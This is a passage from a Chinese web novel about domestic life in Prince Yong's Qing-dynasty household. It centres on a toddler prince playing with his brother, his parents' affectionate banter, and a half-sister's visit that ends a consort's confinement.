弘昼见状,欢喜的对着弘晏说道:“弟弟,你来邀月轩,咱们斗上几局蝈蝈如何?” 不等弘晏反应,耿格格先开了口:“弘昼,你阿玛刚说的话,你这么快便忘了,背书要紧。” 这孩子,刚挨了训,还是只想着玩。 而且还要带着六阿哥一起。 弘昼闻言,扬起小脑袋,望着略有不悦的耿格格,开口解释道:“额娘,是你让我谢弟弟的呀,光嘴上道谢,多没有诚意,我邀请弟弟来咱们院子玩有何不好?” 耿格格听完弘昼的解释,神情有一丝松动,眼下又找不出来哪里有不对的地方,但细想之下又有些迟疑:“这……可是……” 弘昼瞧着耿格格的模样,觉得有门儿,便絮絮的讲起道理来:“额娘,你说过的,背书不是一日之功,我今日就算不吃不喝不睡觉也背不下来,还不如让我开心的玩一场,阿玛他公务繁忙,哪里有时间一直盯着我,再说了,额娘是不欢迎弟弟来咱们院子里玩吗?” 弘昼说完,还一脸真诚的眨了眨眼睛。 而弘晏看向弘昼的眼神,流露出些许的崇拜。 谁说弘昼不学无术,瞧瞧这一长段妙语连珠的,真真是当辩论者的好苗子。 嘴皮子溜,脑瓜子转得也快。 耿格格被弘昼绕进去了不说,亲儿子还将一顶“不欢迎”的大锅扣在了她的脑袋上,现而又当着弘晏与王乳娘的面儿,耿格格赶忙开口解释:“额娘当然欢迎六阿哥来,那可是邀月轩上下蓬荜生辉,只是,来与不来,还是要看六阿哥的意思。” 这番话耿格格虽然是对着弘昼说的,但实际上却是让王乳娘听的,免得王乳娘回了正院告知福晋,惹得福晋误解自己。 弘昼听罢,便笑嘿嘿的对着弘晏说道:“弟弟,跟我去邀月轩吧,我有好东西给你瞧。” 话说完,弘昼神秘兮兮的冲着弘晏眨了眨眼睛。 弘晏见弘昼这般真诚的邀请自己,哪里好意思拒绝,况且弘昼刚才的话的确引起了他的好奇心。 于是,弘晏仰着小脸儿对着王乳娘说道:“乳凉,泥回去,拿蝈蝈。” 绿牙和褐风过了那么久的悠闲日子,是该放它们出来锻炼锻炼了。 王乳娘有些迟疑:“这……” 并非是她不信任耿格格,而是她身为乳娘,就该寸步不离的照顾六阿哥才是。 耿格格自然明白王乳娘的心思,六阿哥金贵,马虎不得。 只是自己儿子诚心邀请,六阿哥又应了邀约,她这个做额娘的自然要拿出姿态来:“乳娘放心去,六阿哥有我看顾着。” 有耿格格这句话,王乳娘自然是放了心,福身道:“有劳格格。” 话音落下,王乳娘便快步离去了。 弘昼见状,便笑呵呵的伸出手拉过弘晏软若无骨的小手,兄弟二人慢悠悠的往邀月轩的方向走着,耿格格与秋叶则配合着兄弟俩的速度在后面跟着。 看着两个小娃娃徐徐向前的背影,耿格格心里倒是有些欣慰。 弘昼这皮猴子若换做平时,早就撒脚丫子跑了,如今竟然能耐着性子陪着弘晏小碎步子小碎步子的走着,当真是懂事了些,有了当哥哥的模样。 一行人回到邀月轩,耿格格命人备好了点心款待弘晏。 弘晏不久前在正院用了一碗杏仁酪,如今倒是不饿,便摇了摇小脑袋,而弘昼的心思都放在了玩上,自然也不觉得饿。 王乳娘脚程快,不一会儿的功夫就带着两只蝈蝈笼子从正院回来了,顺便将弘晏去邀月轩的事情,也禀报给了乌拉那拉氏。 乌拉那拉氏听罢,只是让王乳娘看顾好弘晏便是。 弘晏与弘昼兄弟俩迈出屋子,寻了院子里的凉荫处,便开始斗蝈蝈,几局下来以后,各有输赢。 斗蝈蝈尽了兴,弘晏便将绿牙和褐风放回了蝈蝈笼子里,然后交给了王乳娘,自己而跟着弘昼去瞧瞧他口中的好东西是什么。 除了几只蝈蝈以外,弘昼还养了别的宠物。 一条肉乎乎的毛毛虫。 弘昼是在草丛里发现的,觉得它软绵绵、白胖胖又蠕动的笨拙有趣,便养下了。 一只七星瓢虫。 弘昼是在月季花的叶子上发现的,觉得七星瓢虫长的可爱,名字又有意思就捉回去养了。 这还不算完,敞口的小瓷缸里还游动着三只小黑/蝌/蚪。 邀月轩的院子里有一方小池塘,小池塘里有几尾红鲤鱼,弘昼在给红鲤鱼喂食的时候,听见了青蛙叫,再一看,那青蛙便懒洋洋的趴在荷叶上晒太阳,弘昼刚想靠近,青蛙扑通跳进了水里。 弘昼的视线追寻着青蛙,只是青蛙狡猾,藏进了荷叶下,弘昼找寻不见,却瞧见了几条黑乎乎的东西,不知是什么鱼。 对于这些东西,弘昼可是勤学好问的,便去屋子里喊耿格格出来看,耿格格瞧清楚了,讲了讲青蛙与蝌/蚪的关系。 有道是:耳听为虚,眼见为实。 是以,弘昼并不相信,便央求着耿格格命人打捞上来了三条蝌/蚪要自己养着 ,看看黑乎乎的蝌/蚪究竟是怎么变成青蛙的。 养蝌/蚪也就罢了,毛毛虫与七星瓢虫耿格格可是接受不了的,便只让弘昼带进他睡的耳房里养着,不许带进正屋去,更不能拿到她面前来。 弘昼知晓自家额娘害怕这些,自然乖觉的养在耳房里。 弘晏见识了弘昼口中的好东西,在心中不由得感叹起来:这简直就是一个昆虫小乐园了。 兄弟俩玩了半天,费了力气,自然就觉得肚子空了,于是,兄弟俩手拉手的进了正屋去。 弘昼冲着小榻上的耿格格喊道:“额娘,我们饿了。” 耿格格听罢,一面吩咐人端来点心,一面吩咐人打热水来。 点心上了桌,弘昼走到檀木小榻旁,一只手扶着扶手,另一只手扶着坐垫,小腿向上一蹬便爬上了小榻,坐稳后,弘昼伸手拿了一块酥饼就要往嘴里放。 耿格格见状,出声提醒道:“弘昼,洗完手再吃。” 再外面玩了那么久,又拿了虫子,不洗手怎么成。 弘昼见状,不以为意道:“我手不脏。” 这时,给弘晏拿温热帕子擦手的王乳娘听见了弘昼的话,面上不显,心里却嘀咕着耿格格性子太绵软了些,不然弘昼好歹是个皇孙,也不会叫她养得既不讲究,也没什么规矩。 耿格格正要再劝时,弘晏却抢先开了口:“锅锅,手手脏,洗手手。” 一岁多的小娃娃板着小脸,很是严肃。 弘昼的两只手拿了蝈蝈、毛毛虫和七星瓢虫,表面上看着不脏,但实际上却有后世的人类所说的“细菌”这种看不见摸不着的东西。 所以,不洗手怎么行呢? 耿格格与王乳娘闻言,皆时一愣。 而弘昼顿了顿,愣是将快要送进嘴里的酥饼放在了矮桌上,接着两只手扶着檀木小榻,两条腿慢慢伸下去试探着陆,踩到脚踏安稳着陆后,乖乖的将手放进水盆里,由着秋叶给他搓洗手指、用帕子擦干净手指。 手洗干净了,弘昼又上了小榻,正欲拿起先前放在矮桌上的那块酥饼时,眼尖的弘晏又开了口:“锅锅,酥酥脏。” 弘昼没洗手之前拿了那块酥饼,酥饼上便沾了细菌,吃不得了。 弘昼听了这话,只得放弃自己的念头,转而去拿盘子里的酥饼吃了。 弘晏见状,很认真的对着弘昼夸奖道:“锅锅,棒棒。” 弘昼不好意思的笑了,随即小屁股往小榻里面移了移:“弟弟,上来一起吃。” 耿格格瞧见这场面,只觉得自己话说得早了些,瞧瞧这兄弟俩的做派,分明弘昼是弟弟,弘晏才是那个哥哥。 素日里,她磨破了嘴皮子,弘昼还是左耳朵进,右耳朵出的,今日竟然能乖乖的听弘晏的话,也真是难得。 —— 日落西山,已然是黄昏时分了。 胤禛回了正院,却不见弘晏的身影,听乌拉那拉氏说了,胤禛才知晓弘晏去了邀月轩玩。 胤禛心里有些不爽。 弘晏眼巴巴的送杏仁酪来讨好他这个阿玛,自己心里高兴,便主动提起忙完以后去正院陪小家伙用晚膳,小家伙也应了,如今自己人来了,小家伙却放了自己的鸽子。 乌拉那拉氏观着胤禛的神色,虽然并未瞧出端倪,但夫妻多年,乌拉那拉氏自然猜的到胤禛的心思,便吩咐流萤去邀月轩喊弘晏回来用晚膳。 胤禛见状,绷直的嘴角微微扬了扬。 少顷,流萤一个人回了正院,福身禀报:“王爷,福晋,六阿哥想在邀月轩用晚膳。” 乌拉那拉氏看向了胤禛。 她自己是没什么意见,胤禛就不知道喽。 果不其然,胤禛听了这话,哼道:“这个弘昼,爷叫他用心背书,他倒带着福宝玩得乐不思蜀了,不回也罢,咱们吃。” 等小家伙回来了,他再与小家伙算账。 乌拉那拉氏吩咐人将晚膳呈上来,又用眼神示意流萤回邀月轩接弘晏去。 弘晏在邀月轩玩了一下午,晚膳留邀月轩吃倒也没什么,只是天色已晚,总不好夜里也宿在那里。 就算弘晏想,她也是不能放心的。 第46章 第46章子债母还 落日的最后一抹余晖被吞没,天色暗下来,夜幕降临。 胤禛与乌拉那拉氏用完了晚膳,正坐在小榻上品茗。 乌拉那拉氏抬眼,瞧着坐在对面的胤禛心不在焉的样子,笑着开了口:“爷,可要换杯热茶来?” 普洱茶是胤禛亲口点的,就茶刚上桌的时候浅啜了一口,便再未动过了。 只怕早就凉了。 胤禛闻言,摩挲着手上的玉扳指,出声答道:“不必了。” 胤禛说话时,眸子的余光默默地瞥向了院子的方向。 乌拉那拉氏捕捉了这一点儿,笑道:“福宝不在,爷连喝茶的心情都没有了。” 流萤去了那么久还没有回来,定然是弘晏在邀月轩用完晚膳后又和弘昼玩起来了。 望着眼前的福晋偷笑着打趣自己,胤禛起身转而坐到了乌拉那拉氏身旁,缓缓开口道:“小家伙不回来,那只能子债母还了。” 乌拉那拉氏闻言,收敛了些笑意:“下午福宝不是给爷送了杏仁酪了吗?” 一提起杏仁酪,下午的记忆涌入脑海,胤禛不得不向着乌拉那拉氏倒起了苦水。 乌拉那拉氏听完弘晏的光辉战绩之后,噗嗤笑出声来,瞧见胤禛的脸色不好,才又收敛笑容眉眼弯弯的说道:“爷嘴上抱怨,心里指不定多美呢,还讨什么债?” 只怕弘晏回来冲着胤禛笑笑,他便什么都都不计较了。 胤禛勾了勾唇,边摩挲着手上的玉扳指边开口:“下午的债是了了,可晚上,福宝不是又放了爷的鸽子?” 难得见胤禛幼稚的一面,乌拉那拉氏接话道:“行,那我走一趟,把福宝给爷抓回来。” 父子俩的恩怨自己解决吧,可别攀扯上她。 乌拉那拉氏正欲起身,腰后却被一只突然出现的大手拢着,接着那大手往前一收力,自己整个人就被带进了胤禛怀里。 咫尺之间,呼吸相缠。 乌拉那拉氏怔住了。 胤禛视线微低,就静静地瞧着乌拉那拉氏,忽而脑袋凑近,在乌拉那拉氏耳边说道:“爷方才说了,子债母还。” 胤禛说话时的呼出的热气,洒进乌拉那拉氏的耳朵里有些酥痒。 而屋子里的银烛瞧着两位主子亲热起来,赶忙出去将门阖上了。 胤禛话说完,脑袋一歪,直接吻在了乌拉那拉氏露出来的那截脖颈上,两只大手更是禁锢着乌拉那拉氏的腰肢,将人往榻上压去。 乌拉那拉氏瞪大了眼睛,脸上更染上了两坨红晕,娇嗔道:“爷。” 胤禛听罢,哑着声音道:“福晋叫柳从南来把脉,爷自然得让福晋放心。” 乌拉那拉氏明白胤禛为何忽然来了恶趣味,原来是还记着仇呢。 乌拉那拉氏思忖的时候,胤禛细细麻麻的吻又落下来,那大手一只护着她,另一只手却在腰上游走摸到她的衣摆后探了进去…… 另一边,弘晏在邀月轩可是与弘昼玩嗨了,流萤瞧着天都黑了便忍不住劝起来。 弘晏又想着便宜阿玛还在正院等他,便与弘昼挥手拜拜,而后跟着王乳娘与流萤往正院去。 王乳娘抱着弘晏在前面走着,流萤在旁跟着,一只手拿着两只蝈蝈笼子,另一只手提了一盏灯笼来照明。 玩了一下午,耗费不少体力,还未走到正院,弘晏已然在王乳娘的怀里呼呼大睡了。 王乳娘见状,便走得慢了些。 进了正院,王乳娘瞧着正屋已然熄了灯,便改步抱着弘晏到耳房去了。 翌日清晨,胤禛在上早朝之前,特意来 了耳房,瞧着床榻上的小家伙还睡得香甜,抬起手捏了捏弘晏柔软的小脸蛋儿,才心满意足的离开了耳房。 弘晏睡醒时,已然日上三竿了。 由着王乳娘穿戴整齐后,弘晏哒哒的跑去找乌拉那拉氏。 “额凉,额凉。” 萌萌的小奶音里含着雀跃的心情。 小榻上正在做针线活儿的乌拉那拉氏将手中的针线放远了些,将弘晏抱坐在自己的膝上,亲了亲弘晏说道:“饿不饿?” 不光是胤禛,昨个儿一下午,她也没有见着弘晏的人影呢。 弘晏点了点小脑袋。 乌拉那拉氏已然用过早膳,现而便叫流萤端牛乳和枣糕来给弘晏吃。 弘晏抬起眼睛看向乌拉那拉氏,正想和乌拉那拉氏讲昨天下午与弘昼玩耍发生的趣事时,却发现了乌拉那拉氏的脖子上有一小片的肌肤是红色的。 弘晏好奇的抬起小手指,指向乌拉那拉氏脖子上的那块红印:“额凉,介是什么?” 乌拉那拉氏反应过来弘晏说的是什么时,眸中划过一丝尴尬,解释道:“是……是蚊子咬的。” 昨晚胤禛折腾了半宿,她今早起身梳妆时,特意往脖子上多扑了一层粉,不想还是有漏网之鱼。 乌拉那拉氏的话音刚落地,旁边的银烛听着乌拉那拉氏一本正经的忽悠弘晏,没忍住“噗嗤”一声笑出来。 弘晏被笑声吸引,不解的望向了银烛。 额娘被蚊子咬了有什么好笑的? 银烛收到乌拉那拉氏飞过来的眼刀子之后,自觉收了笑脸,而后边往外走边说道:“奴婢去瞧瞧六阿哥的早膳好了没。” 这厢,弘晏嚷着要从乌拉那拉氏腿上下来,乌拉那拉氏便由了弘晏。 只见弘晏带着王乳娘哒哒的跑了出去,再回来时手里多了一件东西,而后献宝似的递给乌拉那拉氏。 乌拉那拉氏瞧着眼前的檀木盒子只觉得眼熟,打开一瞧,正是先前胤禛送给弘晏的避尘珠。 避尘珠,正有驱赶蚊虫的作用。 乌拉那拉氏再抬眼,便瞧见弘晏眨着忽闪忽闪的大眼睛,正对着自己笑。 乌拉那拉氏心里暖暖的,合上盖子将避尘珠放到矮桌上,转而抱起弘晏在小脸蛋儿上亲了又亲。 忽而,“咕噜,咕噜”的声音在屋子里响起。 弘晏摸着自己瘪瘪的小肚子,不好意思的笑了。 正好,流萤与银烛一同进来将牛乳与枣糕呈上了矮桌。 牛乳还冒着热气,弘晏便先拿了枣糕,大口大口的吃着,乌拉那拉氏则拿着调羹舀起一勺牛乳,吹凉了再喂到弘晏嘴里。 牛乳与枣糕很快见了底,弘晏吃得饱饱的,便从乌拉那拉氏的大腿上下去,转而给自己的两条虎头金鱼喂食。 到了午时,胤禛在前院脱了官服换上常服之后,便来了正院。 弘晏一见来人,立马笑眯眯的伸出双臂甜甜的喊道:“阿玛。” 胤禛心里虽然受用,面儿上还是绷着,抬起步子径直走到弘晏面前,俯身抱起了弘晏。 而弘晏一到胤禛怀里,两只脚蹬着胤禛的胸膛往上爬,两只手攀上胤禛的脖子,小脑袋跟着凑上去,接着撅起小嘴巴在胤禛的脸上胡乱的亲着。 弘晏的一番操作,成功让胤禛破了功。 胤禛直接将弘晏塞进乌拉那拉氏怀里,转而拿起帕子满是嫌弃的擦自己脸上的口水。 而弘晏在胤禛看不见的时候,偷偷地笑着。 席间,胤禛瞥见了那矮桌上的避尘珠,便开口问:“避尘珠怎么在这儿?” 弘晏听见了,赶忙接话道:“给额凉用,蚊紫坏。” 胤禛有些摸不着头脑。 乌拉那拉氏瞧着奶凶凶的弘晏,又抬眸望向不明所以的胤禛:“福宝心疼我被一只大蚊子咬了脖子,特意给我拿来驱蚊子用的。” 正在喝汤的胤禛听到这话,呛的咳嗽起来,忙拿起帕子捂住唇。 待胤禛缓过劲儿来,再抬眸时,胤禛便瞧见了福晋幸灾乐祸的模样。 胤禛正欲说话,便听见弘晏的小奶音:“阿玛别急,汤汤都给泥喝。” 胤禛:“……” —— 夜晚,乌拉那拉氏让王乳娘抱着弘晏回耳房睡,顺便将避尘珠也带回去。 弘晏却是不答应,执意要把避尘珠留在内室给乌拉那拉氏用。 乌拉那拉氏见状,便抱着弘晏坐在小榻上,用食指的指腹点了点弘晏的鼻尖:“额娘用了避尘珠,福宝怎么办?” 弘晏想了片刻,眨着大眼睛对着乌拉那拉氏说道:“窝跟额凉睡。” 这可真是个两全其美的好主意呢。 乌拉那拉氏自然是愿意带着弘晏一起睡,只是里面的寝衣衣领比外面的旗装领子低,那吻痕怕是要露出来。 弘晏见乌拉那拉氏没有答话,反而在凝思着什么,两只手拉着乌拉那拉氏的衣袖摇晃道:“额凉,额凉。” 乌拉那拉氏思绪回笼,瞧着天真烂漫的弘晏,哪里说的出来拒绝的话,便应下来。 弘晏闻言,笑呵呵的往乌拉那拉氏怀里钻。 王乳娘将热水备好,迈步进来唤弘晏洗澡,弘晏赖在乌拉那拉氏怀里不愿意出来。 乌拉那拉氏见弘晏撒起娇来,便抱了弘晏去净室,亲自给他洗澡。 洗香香的弘晏小脸蛋儿白里透红,像那粉粉嫩嫩的蜜桃。 乌拉那拉氏给弘晏擦干净身子,换上寝衣之后,便抱着弘晏在屋子里来回踱步。 在木桶里泡了澡,弘晏浑身舒畅,已然有了倦意,如今在乌拉那拉氏的怀里被轻轻的悠来悠去,再伴着柔声哼唱的歌谣,已然闭上眼睛沉沉睡去。 乌拉那拉氏见状,轻手轻脚的将弘晏放在了拔步床上,盖好被子,吩咐王乳娘看顾弘晏后方抬步去沐浴更衣。 沐浴更衣回来,乌拉那拉氏抹了香膏盖住吻痕之后,吹灭了屋子里的烛火,方抬步上床安寝。 等到第二日晚上,胤禛来了正院留宿,用眼神示意王乳娘将弘晏抱下去,弘晏却是抱着乌拉那拉氏不松手。 “窝在,珠珠在,没有蚊紫咬。”弘晏理直气壮的对着胤禛说道。 乌拉那拉氏闻此言,偷偷笑着。 胤禛顿了顿,开口说道:“我在,不会有蚊子咬你额娘。” 话,胤禛虽然是对着弘晏说的,灼灼的目光却一直盯着乌拉那拉氏。 换回来的便是乌拉那拉氏的眼刀子。 胤禛见状,勾了勾嘴角。 弘晏听了胤禛的话,思考了一番后,正儿八经的扬着小脸儿说道:“额凉香,阿玛臭,蚊紫吃饱了,就不会咬额凉了。” 乌拉那拉氏听完,“噗嗤”一声笑出来。 胤禛:“……” 歪理! 爷的血能是臭的吗?! 弘晏对自己的推断很是信服,于是,吩咐王乳娘带着避尘珠便回了耳房。 胤禛眉头一挑,对着乌拉那拉氏问道:“话是福晋教的?” “爷可别信口开河。” 乌拉那拉氏说罢,嗔了胤禛一眼,便起身迈步往净室走,沐浴更衣去了。 这时,苏培盛迈步入内,禀报道:“爷,庄子上传来信儿,说冯格格这些日子重病缠身,今晚送饭的时候才发现没了气息。” 胤禛语气淡漠:“该怎么办,便怎么办。” “嗻。” 苏培盛应声退下。 第47章 第47章自作聪明 夏去秋来,树上的叶子由绿变黄,只是那火红的枫叶在园子里格外显眼,更平添了一种意味。 这日,弘晏穿着新做的秋装在正院的屋子里悠闲的喂虎头金鱼吃鱼食,乌拉那拉氏则坐在檀木小榻上看账本。 流萤端来一盏热茶放在了乌拉那拉氏的手边,随即退到一旁侯着。 一阵脚步声由远至近传来,片刻后,银烛迈步进来禀报:“福晋,怀恪郡主回来了,想要给您请安。” 乌拉那拉氏合了账本,用眼神示意流萤将账本收起来,转而对着银烛说道:“叫她进来吧。” 片刻的功夫,一个穿着粉蓝色旗装的年轻女子走进来福身道:“女儿给嫡额娘请安。” 乌拉那拉氏笑着说道:“快坐吧。” 怀恪郡主落坐后,身后跟着的丫鬟将滋补的药品交给了银烛收着。 乌拉那拉氏见状,开口寒暄道:“回来便回来,还带什么东西。” 怀恪郡主抿了一口茶,转而笑着答话:“女儿许久未回雍亲王府,思念阿玛与嫡额娘,想尽些孝心,在阿玛与嫡额娘身旁侍候,不知嫡额娘可愿意让女儿小住几日?” “瞧你说的,这雍亲王府是你的母家,你想住多久便住多久,只是,不知道额驸……”乌拉那拉氏的话点到为止。 怀恪郡主听着乌拉那拉氏前面的话本是笑盈盈的,只 是听到最后半句话的时候,扬起的嘴角又落下来了,眸子里划过一丝不快:“他自然是答应的。” 乌拉那拉氏点了点头,转而对着弘晏喊道:“福宝,来见过你二姐姐。” 弘晏虽然人一直在喂虎头金鱼,可两只小耳朵却一直竖着偷听乌拉那拉氏与怀恪郡主的谈话,如今,乌拉那拉氏叫了自己,弘晏赶忙叫王乳娘把自己抱下去。 弘晏迈着小碎步子走到怀恪郡主面前,将人打量一番后,糯糯的喊道:“二姐姐。” 怀恪郡主是李侧福晋所生的女儿,眉眼像极了李侧福晋,只不过整个人的长相再加上气质要比李侧福晋好上许多。 宋格格比李侧福晋进府早,也是最早伺候胤禛的女人,是以按照序齿,宋格格先生出来的女儿为大格格,只是早夭多年,所以李侧福晋生下来的女儿便为二格格,这也是胤禛膝下唯一活到成年的女儿。 这位二格格先经康熙册封为郡君,后晋封为郡主指婚给了那喇星德。 怀恪郡主可不知道面前的弘晏小小的脑袋里想了这么多,直接弯腰将人抱到了腿上坐着:“福宝,是嫡额娘取的乳名吧,我记得你的大名该叫弘晏,是吗?” 弘晏瞧着面前的怀恪郡主笑眯眯的,对她的初印象还不错,便笑着点了点头。 “那二姐姐该唤你什么呢?弘晏、福宝、还是六弟?”怀恪郡主笑问。 弘晏毫不犹豫的回答道:“福宝。” 怀恪郡主笑着点头:“好,福宝,小福宝。” 怀恪郡主说着,便拿起了碟子里的一块红豆酥饼喂给弘晏。 弘晏双手接过红豆酥饼,大口大口吃起来。 酥饼的外皮又酥又脆,里面的红豆馅甜而不腻,弘晏喜欢这种味道,吃得很香。 待弘晏吃完红豆酥饼,怀恪郡主拿着自己的锦帕给弘晏擦了擦嘴边的酥饼碎屑,而后开口说要去园子里赏赏花,便带着丫鬟离开了正院。 怀恪郡主走后,银烛行至乌拉那拉氏身旁,出声道:“福晋,怀恪郡主莫不是为了李侧福晋禁足的事儿回来的?” 乌拉那拉氏开口反问银烛:“若依你所言,那她又何必等到现在?” 当初康熙赐长命锁给弘晏的事儿,京城中不少人知晓,其中内情如何,怀恪郡主只要留心打听岂会不知。 毕竟,李侧福晋禁足也不是一天两天了。 银烛沉默了。 弘晏却觉得怀恪郡主还是遗传了便宜阿玛的智商的,不然要换做李侧福晋是怀恪郡主,知晓亲额娘被禁足,怕是一回府就哭哭啼啼的求乌拉那拉氏饶了自家额娘,而不是对乌拉那拉氏的儿子那般亲热,又是抱着坐,又是喂酥饼、擦嘴的。 临近午时,银烛带回了最新消息。 胤禛下值后,怀恪郡主跟着胤禛进了前院书房,在里面坐了好一会儿,待人出来后,没一会儿的功夫,苏培盛便去了碧波苑,是传胤禛的话,解了李侧福晋的禁足,念着怀恪郡主回府,特允许三阿哥弘时回碧波苑用午膳。 弘晏听完,看向了乌拉那拉氏,却见乌拉那拉氏神色未变,似乎早就猜到了这个结果。 少顷,乌拉那拉氏缓缓开口道:“怀恪郡主回府,指不定明日额驸就跟着来了,若是额驸见着李氏还在禁足中,又会如何?” 弘晏明白了,便宜阿玛表面上是维护着怀恪郡主的颜面,其实更是为了雍亲王府的脸面。 他这个二姐姐,看来还是有两把刷子的。 与此同时的碧波苑内。 因着怀恪郡主回府,膳房的人送进碧波苑的午膳皆是美味佳肴。 弘时见着这些香喷喷的饭菜,提起筷子就要夹,却被坐在对面的李侧福晋瞪了一眼。 弘时委屈巴巴的将筷子放下,眼睛却一直盯着盘子里的菜。 他住在前院,衣食住行虽有奴才们无微不至的照料,但有胤禛立的规矩在,每每用膳也不能大快朵颐。 李侧福晋笑嘿嘿的提起筷子夹了一块桂花糖藕放进怀恪郡主面前的碟子里:“这道菜你自小便爱吃,快尝尝看。” 怀恪郡主提起筷子时,还不忘说道:“三弟也吃吧。” 弘时听罢,飞快的提起筷子夹了一个鸡腿吃。 李侧福晋一个劲儿的为怀恪郡主夹菜:“额娘啊禁足好几个月了,成日里吃斋念佛,早就闷坏了,如今,幸好有你哄得你阿玛松了口,解了额娘的禁足,可是,你阿玛别的却没免,额娘还是得吃斋念佛,若不是看在你的份儿上,额娘连顿荤腥都吃不上。” 怀恪郡主听着李侧福晋倒苦水只觉得心烦,将筷子放了回去:“额娘,早知今日,何必当初,你坑害的不仅是嫡额娘和弘晏,更是阿玛和整个雍亲王府。” 李侧福晋急着辩驳:“额娘谁也没想害,就是想借着德妃的势出口气罢了。” 怀恪郡主有些无奈:“额娘,你禁足了这么久,竟还不知错在何处?” 借德妃的势? 从一开始就错了。 弘时咬着大鸡腿囫囵的接话道:“我知道,额娘不该自作聪明。” 怀恪郡主问向弘时:“三弟,你展开说说,额娘不该自作聪明干什么?” 弘时咽下口中的鸡腿肉,方才开口说下去:“当然是不该让玛嬷用核桃油蒸鸡蛋羹,用麻油,六弟吃了就没事了。” 这哪里是吃不吃鸡蛋羹的事儿?! 怀恪郡主充满期待的目光一下子暗了下去,嗫嚅着嘴唇最后只说了句:“快吃吧,鸡腿要凉了。” 弘时“哦”了一声,继续埋头啃鸡腿。 李侧福晋忍不住训道:“弘时,我还没找你算账呢,要不是你说出来我不爱吃佛手瓜,额娘的计谋就成了。” 弘时正欲反驳,却被怀恪郡主抢了先:“额娘,自己给自己下了一个破绽百出的毒,也堪为计谋?” 李侧福晋见怀恪郡主生了气,讪讪地闭了嘴。 过了半晌儿,李侧福晋又开始为怀恪郡主夹菜,言道:“额娘以后不会犯糊涂了,你这些日子在那喇府过得可还顺心?” 怀恪郡主见自己的碟子已然堆成了一座小山,避重就轻道:“额娘,别给我夹了,你也快吃,菜都要凉了。” 话说着,怀恪郡主又开始给李侧福晋夹菜。 一顿午膳吃完,弘时回了前院,李侧福晋拉着怀恪郡主说起了体己话:“茉雅奇,你嫁到那喇府的时日也不短了,肚子还没动静吗?” 怀恪郡主不愿聊起这个,拖着尾音喊道:“额娘。” 李侧福晋拉过怀恪郡主的手,语重心长道:“你别嫌额娘絮叨,星德没有兄弟姐妹,他和他的阿玛额娘就算嘴上不说,心里自是盼着你早日开花结果,额娘也能早日抱上外孙子不是。” 怀恪郡主抽出自己的手,挥了一下帕子,不甚在意的说道:“那您还是盼着抱孙子吧。” 李侧福晋总算是发现自己女儿不太愿意提起生孩子的事了,于是,脑袋凑近怀恪郡主,压低声音问道:“难不成,星德他不中用?” 怀恪郡主的脸陡然红了,又羞又急道:“额娘,你说哪去了?” 话音落下,怀恪郡主连忙别开脸。 “不是你自己说的,叫额娘别盼外孙子,那不是星德不中用”李侧福晋说着,忽然顿住了,转而瞪大了眼睛,不可置信的指向怀恪郡主:“是你不能生?” 怀恪郡主“蹭”的从椅子上跳起来,脸羞得快要滴出血来,无措的搓着手里的帕子:“额娘,您成日都在想些什么?我不与您说了,我乏了,回去歇着了。” 话音落下,怀恪郡主直接抬步离开了。 独留李侧福晋一人费解:“这孩子……到底谁不中 用?” 李侧福晋的脑子里忽然蹦出了一个大胆的猜想:莫不是,两个人都不能生!!! 第48章 第48章兵不厌诈 “弟弟,弟弟。” 在正屋里玩七巧板的弘晏听了这焦急的喊声,便叫王乳娘将自己抱下檀木小榻,随即哒哒的跑出去喊着:“锅锅。” 弘昼笑盈盈道:“弟弟,我给你带了好吃的。” 说着,弘昼抬手指向了秋叶手中拎着的食盒。 弘晏的视线自然也顺着弘昼的手指看过去,期待值拉满。 弘昼拉着弘晏的小手,两个人迈上石阶走进了屋子。 瞧见坐在小榻上的乌拉那拉氏,弘昼乖乖的行礼道:“给嫡额娘请安。” 秋叶行礼过后,将食盒打开,把一碗桂花小圆子放在了矮桌上。 弘昼开口介绍道:“嫡额娘,这是我额娘做的桂花小圆子,我给弟弟带过来,让他尝尝,加了酒酿的味道更好吃,可额娘说弟弟吃不得,便没有放。” 乌拉那拉氏听罢,笑眯眯道:“难为你额娘费心,也辛苦你跑一趟,流萤,拿些柚子来给五阿哥尝尝。” “嘿嘿,谢谢嫡额娘。”弘昼说罢,一只手扶住檀木小榻做支点,抬起一条腿攀上小榻,接着整个人用力一翻就坐上了小榻,而后,弘昼便将自己的鞋子脱了。 银烛先秋叶一步弯腰将弘昼的两只鞋子摆放在脚踏上时,流萤端来了剥好的袖子。 饱满的柚子果肉像一颗颗色泽晶莹剔透的宝石,弘昼笑呵呵的正欲伸手去拿,就听见坐在乌拉那拉氏身旁的弘晏开了口:“锅锅,擦手手。” 弘昼刚才可是摸过鞋子了。 弘昼听了这话,悬在半空中的手乖乖收了回来。 流萤拿了温热的帕子过来,正欲给弘昼擦手,弘昼却伸手将帕子接过去,自顾自的擦起来。 他可不好意思让嫡额娘身边的人给他擦手。 弘晏见弘昼擦手擦的认真,不忘夸奖弘昼:“锅锅,棒。” 弘昼嘿嘿笑了笑,拿起柚子大口吃起来。 这厢,乌拉那拉氏拿起调羹舀了一个小圆子喂给弘晏。 圆滚滚的小圆子吃进嘴里,弘晏先感受到的是桂花的香味,细细咀嚼后,是Q/Q弹弹的糯米香和浓郁的黑芝麻香味。 弘晏一连吃了三个小圆子后,乌拉那拉氏便不再喂了。 弘晏有些着急:“额凉,吃,窝还要吃。” 他还没吃过瘾呢。 再说了,一碗桂花小圆子里面共有八个小圆子,剩下的五个不吃,岂不是浪费了。 浪费可耻! 乌拉那拉氏使了一个眼色,流萤迈步过去要将桂花小圆子撤下去,可弘晏却伸出一只手牢牢地握住碗沿,不让流萤端走。 流萤不敢硬来,看向了乌拉那拉氏。 乌拉那拉氏见自己儿子这般护食,转而对着弘晏耐心哄道:“福宝听话,糯米不易消化,吃多了是要肚子疼的,还要喝苦药汤。” 弘晏低头看了看自己小小的身板,瘪着嘴松开了握着的碗沿。 流萤生怕弘晏反悔,连忙将桂花小圆子端走了。 弘昼见弘晏不高兴了,两只手扶着小榻的扶手慢慢地的下了小榻,撅着小屁股穿好鞋之后,弘昼来到了弘晏面前:“弟弟,我们去荡秋千吧,看看谁力气大,怎么样?” 荡秋千? 好,他要短暂的离开这个伤心之地(bushi)。 弘晏一口答应。 乌拉那拉氏见状,便将弘晏放下了小榻。 兄弟两个手拉手出了屋子,王乳娘与秋叶也跟着出去照料。 弘晏与弘昼兄弟两个轮流坐大秋千,另一个人来推,而后两个人一起坐上秋千的座椅,让王乳娘与秋叶轮流来推。 弘昼问向弘晏:“弟弟,你知道明天是什么日子吗?” 弘晏摇了摇小脑袋。 这个他还真的不知道。 